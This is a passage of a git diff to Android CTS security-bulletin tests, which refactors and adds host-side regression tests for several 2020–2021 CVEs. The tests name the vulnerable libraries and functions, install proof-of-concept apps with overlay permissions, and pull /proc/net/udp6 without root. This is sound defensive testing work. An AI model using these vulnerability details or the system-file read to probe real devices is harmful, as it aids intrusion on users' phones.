AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java index 9573b393bf6..2c39674c45f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java @@ -35,9 +35,10 @@ public class CVE_2020_0073 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 147309942) public void testPocCVE_2020_0073() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2020-0073"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java index 695d8dc74cd..12edb1af319 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java @@ -16,13 +16,19 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + import org.junit.Test; import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; -import static org.junit.Assume.*; +import java.util.Arrays; +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2020_0381 extends SecurityTestCase { @@ -31,13 +37,21 @@ public class CVE_2020_0381 extends SecurityTestCase { * b/150159669 * Vulnerability Behaviour: SIGSEGV in self */ - @Test @AsbSecurityTest(cveBugId = 150159669) + @Test public void testPocCVE_2020_0381() throws Exception { assumeFalse(moduleIsPlayManaged("com.google.android.media")); + String binaryName = "CVE-2020-0381"; String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"}; - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381", - AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1], - inputFiles, AdbUtils.TMP_PATH, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl")); + testConfig.config.setSignals(signals); + testConfig.arguments = + AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java index d2a4ca5486a..72765d64f1f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java @@ -16,11 +16,19 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + import org.junit.Test; import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assume.assumeFalse; + +import java.util.Arrays; +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2020_0383 extends SecurityTestCase { @@ -29,14 +37,21 @@ public class CVE_2020_0383 extends SecurityTestCase { * b/150160279 * Vulnerability Behaviour: SIGSEGV in self */ - @Test @AsbSecurityTest(cveBugId = 150160279) + @Test public void testPocCVE_2020_0383() throws Exception { assumeFalse(moduleIsPlayManaged("com.google.android.media")); - String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"}; String binaryName = "CVE-2020-0383"; - AdbUtils.runPocAssertNoCrashesNotVulnerable(binaryName, - AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1], - inputFiles, AdbUtils.TMP_PATH, getDevice()); + String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"}; + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins")); + testConfig.config.setSignals(signals); + testConfig.arguments = + AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java index f89ec7dfb18..34c66ded007 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java @@ -16,13 +16,19 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + import org.junit.Test; import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; -import static org.junit.Assume.*; +import java.util.Arrays; +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2020_0384 extends SecurityTestCase { @@ -31,13 +37,22 @@ public class CVE_2020_0384 extends SecurityTestCase { * b/150159906 * Vulnerability Behaviour: SIGSEGV in self */ - @Test @AsbSecurityTest(cveBugId = 150159906) + @Test public void testPocCVE_2020_0384() throws Exception { assumeFalse(moduleIsPlayManaged("com.google.android.media")); + String binaryName = "CVE-2020-0384"; String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"}; - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384", - AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1], - inputFiles, AdbUtils.TMP_PATH, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes( + new BacktraceFilterPattern("libmidiextractor", "Convert_art")); + testConfig.config.setSignals(signals); + testConfig.arguments = + AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java index 19109b8b4d8..0f9e7d27dae 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java @@ -16,13 +16,19 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + import org.junit.Test; import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; -import static org.junit.Assume.*; +import java.util.Arrays; +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2020_0385 extends SecurityTestCase { @@ -31,13 +37,21 @@ public class CVE_2020_0385 extends SecurityTestCase { * b/150160041 * Vulnerability Behaviour: SIGSEGV in self */ - @Test @AsbSecurityTest(cveBugId = 150160041) + @Test public void testPocCVE_2020_0385() throws Exception { assumeFalse(moduleIsPlayManaged("com.google.android.media")); + String binaryName = "CVE-2020-0385"; String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"}; - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385", - AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1], - inputFiles, AdbUtils.TMP_PATH, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins")); + testConfig.config.setSignals(signals); + testConfig.arguments = + AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java index af3503ce88d..585d19bfbd2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java @@ -1,5 +1,5 @@ /** - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -17,21 +17,40 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0430 extends SecurityTestCase { /** * b/178725766 * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 178725766) public void testPocCVE_2021_0430() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-0430"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_mfc_handle_read_op")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java index db0a1b27cd2..77c9188d6b5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -16,85 +16,42 @@ package android.security.cts; +import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import org.junit.Test; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Assert; +import org.junit.Before; import org.junit.runner.RunWith; - -import static org.hamcrest.core.Is.is; -import static org.junit.Assert.assertThat; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0523 extends SecurityTestCase { +public class CVE_2021_0523 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0523.apk"; - private static void extractInt(String str, int[] displaySize) { - str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " "); - if (str.equals("")) { - return; - } - String s[] = str.split(" "); - for (int i = 0; i < s.length; ++i) { - displaySize[i] = Integer.parseInt(s[i]); - } + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); } /** * b/174047492 */ - @Test + @AppModeFull @AsbSecurityTest(cveBugId = 174047492) + @Test public void testPocCVE_2021_0523() throws Exception { - final int SLEEP_INTERVAL_MILLISEC = 30 * 1000; - String apkName = "CVE-2021-0523.apk"; - String appPath = AdbUtils.TMP_PATH + apkName; - String packageName = "android.security.cts.cve_2021_0523"; - String crashPattern = - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; - ITestDevice device = getDevice(); - - try { - /* Push the app to /data/local/tmp */ - pocPusher.appendBitness(false); - pocPusher.pushFile(apkName, appPath); - - /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); - - /* Install the application */ - AdbUtils.runCommandLine("pm install " + appPath, device); - - /* Grant "Draw over other apps" permission */ - AdbUtils.runCommandLine( - "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device); - - /* Start the application */ - AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice()); - Thread.sleep(SLEEP_INTERVAL_MILLISEC); - - /* Get screen width and height */ - int[] displaySize = new int[2]; - extractInt(AdbUtils.runCommandLine("wm size", device), displaySize); - int width = displaySize[0]; - int height = displaySize[1]; - - /* Give a tap command for center of screen */ - AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device); - } catch (Exception e) { - e.printStackTrace(); - } finally { - /* Un-install the app after the test */ - AdbUtils.runCommandLine("pm uninstall " + packageName, device); - - /* Detection of crash pattern in the logs */ - String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device); - Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE); - assertThat(crashPattern, pattern.matcher(logcat).find(), is(false)); - } + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + getDevice()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java new file mode 100644 index 00000000000..285f57af096 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java @@ -0,0 +1,56 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0642 extends BaseHostJUnit4Test { + static final String TEST_APP = "CVE-2021-0642.apk"; + static final String TEST_PKG = "android.security.cts.cve_2021_0642"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + uninstallPackage(device, TEST_PKG); + } + + /** + * b/185126149 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 185126149) + @Test + public void testPocCVE_2021_0642() throws Exception { + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java index d8f3ddfa1d3..6d320f562d8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java @@ -16,27 +16,28 @@ package android.security.cts; -import static org.junit.Assert.assertTrue; import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0922 extends SecurityTestCase { +public class CVE_2021_0953 extends BaseHostJUnit4Test { - /** - * b/195630721 - */ - @AsbSecurityTest(cveBugId = 195630721) + @AsbSecurityTest(cveBugId = 184046278) @Test - public void testPocCVE_2021_0922() throws Exception { - String packageName = "com.android.managedprovisioning"; - String queryStr = "dumpsys package " + packageName; - String permissions = AdbUtils.runCommandLine(queryStr, getDevice()); - - // MANAGE_APP_OPS_MODES permission must be enforced for - // package com.android.managedprovisioning - assertTrue(permissions.contains("android.permission.MANAGE_APP_OPS_MODES")); + public void testPocCVE_2021_0953() throws Exception { + final String TEST_PKG = "android.security.cts.CVE_2021_0953"; + final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + final String TEST_APP = "CVE-2021-0953.apk"; + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent"); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java index a242904c0c2..4deab6614e8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java @@ -16,15 +16,17 @@ package android.security.cts; -import static org.junit.Assert.assertFalse; + import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0965 extends BaseHostJUnit4Test { @@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test { @Test public void testPocCVE_2021_0965() throws Exception { installPackage(TEST_APP, new String[0]); - runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"); - String errorLog = "Vulnerable to b/194300867 !!"; - String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice()); - Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE); - assertFalse(pattern.matcher(logcat).find()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java new file mode 100644 index 00000000000..6cac004b175 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +import java.util.Arrays; +import java.util.regex.Pattern; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39664 extends SecurityTestCase { + + /** + * b/203938029 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libandroidfw (As per AOSP code) + * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 203938029) + @Test + public void testPocCVE_2021_39664() throws Exception { + String inputFiles[] = {"cve_2021_39664"}; + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39664"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw", + "android::LoadedPackage::Load")); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java index 4df0f6ffde8..8f12b522fad 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -17,20 +17,26 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0684 extends SecurityTestCase { +public class CVE_2021_39675 extends SecurityTestCase { /** - * b/179839665 - * Vulnerability Behaviour: SIGSEGV in Self + * b/205729183 + * Vulnerability Behavior: EXIT_VULNERABLE (113) */ - @AsbSecurityTest(cveBugId = 179839665) + @AsbSecurityTest(cveBugId = 205729183) @Test - public void testPocCVE_2021_0684() throws Exception { - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice()); + public void testPocCVE_2021_39675() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(), + AdbUtils.TIMEOUT_SEC); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java new file mode 100644 index 00000000000..363e522a406 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.File; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39700 extends BaseHostJUnit4Test { + + /** + * b/201645790 + * This test is related to + * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java" + */ + @AsbSecurityTest(cveBugId = 201645790) + @Test + public void testPocCVE_2021_39700() throws Exception { + ITestDevice device = getDevice(); + assumeTrue("Failed to unroot the device", device.disableAdbRoot()); + String procUdp6File = "/proc/net/udp6"; + File tempFile = File.createTempFile("CVE_2021_39700", "temp"); + assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile)); + tempFile.deleteOnExit(); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java new file mode 100644 index 00000000000..d92af4d40f2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39702 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.CVE_2021_39702"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-39702.apk"; + + @AppModeFull + @AsbSecurityTest(cveBugId = 205150380) + @Test + public void testPocCVE_2021_39702() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + device); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java index 0353c3d6de6..d7a3afc7a6d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java @@ -19,6 +19,7 @@ package android.security.cts; import com.android.compatibility.common.util.MetricsReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.build.IBuildInfo; import com.android.tradefed.config.Option; import com.android.tradefed.testtype.IBuildReceiver; @@ -49,7 +50,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import static org.hamcrest.core.Is.is; -public class SecurityTestCase extends BaseHostJUnit4Test { 